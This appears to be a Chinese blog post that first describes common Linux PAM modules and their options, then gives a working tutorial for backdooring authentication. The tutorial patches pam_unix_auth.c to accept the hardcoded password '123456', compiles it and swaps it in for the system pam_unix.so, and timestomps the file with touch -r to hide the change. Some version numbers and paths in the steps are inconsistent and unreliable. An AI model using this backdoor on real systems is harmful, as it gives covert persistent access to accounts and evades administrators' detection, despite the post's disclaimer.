PAM简介
PAM (Pluggable Authentication Modules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX 9.0等。
PAM工作流程
常用PAM模块
从官方文档翻译出来的(/usr/share/doc/pam-1.1.1),翻译可能有不对的地方
1、pam_securetty.so
类型:auth
作用:只对root有限定,限定root登陆的终端,系统默认的“安全”中断保存在/etc/securetty中。
2、pam_access.so
类型:account
作用:基于登录名,主机名或者所属域,ip地址或者网络
终端编号(类似于/etc/securetty)。默认的配置文件为/etc/security/access.conf
3、pam_tally2.so
类型:auth 作用:当用户输入密码的错误次数超过指定次数时,锁定账户参数:
onerr=[fail|succeed]:
file=/path/to/counter:当登陆超过允许次数时,日志保存的地方。默认的为/var/log/tallylog。当开启的时候,每当登陆失败一次,则会写入一次,使用pam_tally2 可以读出
audit:如果用户找不到,则把此用户名记录到日志中
silent:不输出任何信息
no_log_info:不进行日志记录
deny=N:当用户连续输错n次是,在第n+1次锁定该用户,没有 设定解锁解锁时间,则锁定之后需要手工解锁。
pam_tally.so -u username --reset
lock_time=n:当输入密码错误一次时,在N秒内不能再次登陆该账户。
unlock_time=n:解锁时间,当账户被锁定时,过n秒时,该账户 被接触锁定(清空/var/log/tallylog中的相关信息),配合deny参数使用 magic_root:当uid=0时,不会往/var/log/tallylog中写入计 数,即这个PAM不生效 even_deny_root:对root用户生效(不加magic_root参数,对 root也是不处理的) root_unlock_time=n:是针对even_deny_root的,root用户的解锁时间 每当用户成功登陆过一次后,/var/log/tallylog中关于这个用 户的记录就会清空
4、pam_cracklib
类型:password
作用:限定更改密码的长度,复杂度等等。
参数:
dubug:把修改密码的行为记录到日志中
retry=N:修改密码时,允许错误的次数,默认是1次
difok=N:新密码与旧密码不同的位数。如果超过一半不同,则通过验证,则忽略difok的设置
minlen=N:密码的最短长度
dcredit=N:至少有N的数字
ucredit=N:至少有N的大写字码
lcredit=N:至少有N个小写字母
ocredit=N:至少有N个特殊字符
minclass=N:密码组成的范围(数字,大小写字母,特殊字符)
maxrepeat=N:最多与上一个密码重复
5、pam_limits.so
类型:session
作用:限制资源的使用,默认的配置文件为/etc/security/limits.conf是全局的,/etc/security/limits.d/下存放各个子文件
6、pam_listfile
类型:auth
作用:验证用户是否能够登陆
参数:
item=[tty|user|rhost|ruser|group|shell]:控制的对象
sense=[allow|deny]:控制的方法
file=/path/filename:文件的路径,每个占一行
onerr=[succeed|fail]:指定某类事件发生时的返回值。
实例:
authrequired pam_listfile.soonerr=succeed item=user sense=deny file=/etc/ftpusers
保存在/etc/ftpusers中的用户,是不允许的。
7、pam_nologin.so
类型:auth
作用:用于拒绝除root外的不同用户的登陆(当/etc/nologin存在,或者重新制定file的情况下)
参数:auth
file=/path/nologin:如果文件存在,当拒绝用户登陆的时候,同时会输出该文件中保存的内容。默认文件为/etc/nologin。
PAM后门
测试环境CentOS 6.2 64位
1、查询本机的PAM和系统版本
rpm -qa | grep pam
uname -r
下载对应的版本
wget http://www.linux-pam.org/library/Linux-PAM-1.1.1.tar.gz
下载完毕解压并编辑pam_unix_auth.c
tar -zxvf Linux-PAM-1.1.1.tar.gz
cd Linux-PAM-1.1.1
vim modules/pam_unix/pam_unix_auth.c
对pam_sm_authenticate函数进行修改,编译,然后直接替换64位目标机器(如果是32位则是在/lib/security/pam_authx.so)的/lib64/security/pam_authx.so
PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags ,int argc, const char **argv)
{
unsigned int ctrl;
int retval, *ret_data = NULL;
const char *name;
const void *p;
...
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
// ------------- 在此处添加代码 -----------------
// 加入指定密码后门,如果输入123456,也能登录成功
if(strcmp(p,"123456")==0) {
retval = PAM_SUCCESS;
}
if(retval== PAM_SUCCESS) {
// 当密码正确,这里可以添加输出密码的代码。
}
// ------------- 在此处添加代码 -----------------
name = p = NULL;
AUTH_RETURN;
}
编译源代码
解决依赖性,安装gcc编译器和flex库
yum install gcc flex flex-devel -y
安装flex 和 flex-devel 可能会报错,不用管就行
编译生成so文件
cd Linux-PAM-1.1.8
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make
其中如果报错的话可以根据错误进行搜索或者是make clean清除缓存一下
生成的恶意认证所以路径在./modules/pam_unix/.libs/pam_unix.so。用它来替换系统自带的pam_unix.so。
因为系统不同不同,pam_unix.so的路径也一样,所以要尽量找一下
find / -name pam_unix.so
然后替换,注意先备份,万一恶意的这么文件不可用就gg了
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bak
cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
这时先别急着,先试一下不能用我们设置的123456密码登录
成功登录,后门美观。为了隐蔽下时间
touch pam_unix.so -r pam_umask.so
这个命令的意思是把pam_unix.so的文件修改时间改成和pam_umask.so(它俩在用一个目录)一样的
到此就是最核心最主要的pam后门插入教程了!后续如果有想加功能的话可以在此基础上加。
本篇教程仅在虚拟机中测试,切勿用于非法入侵
参考文章:
版权属于:DATA
本文链接:https://www.zhlblog.cn/default/23.html
转载时须注明出处及本声明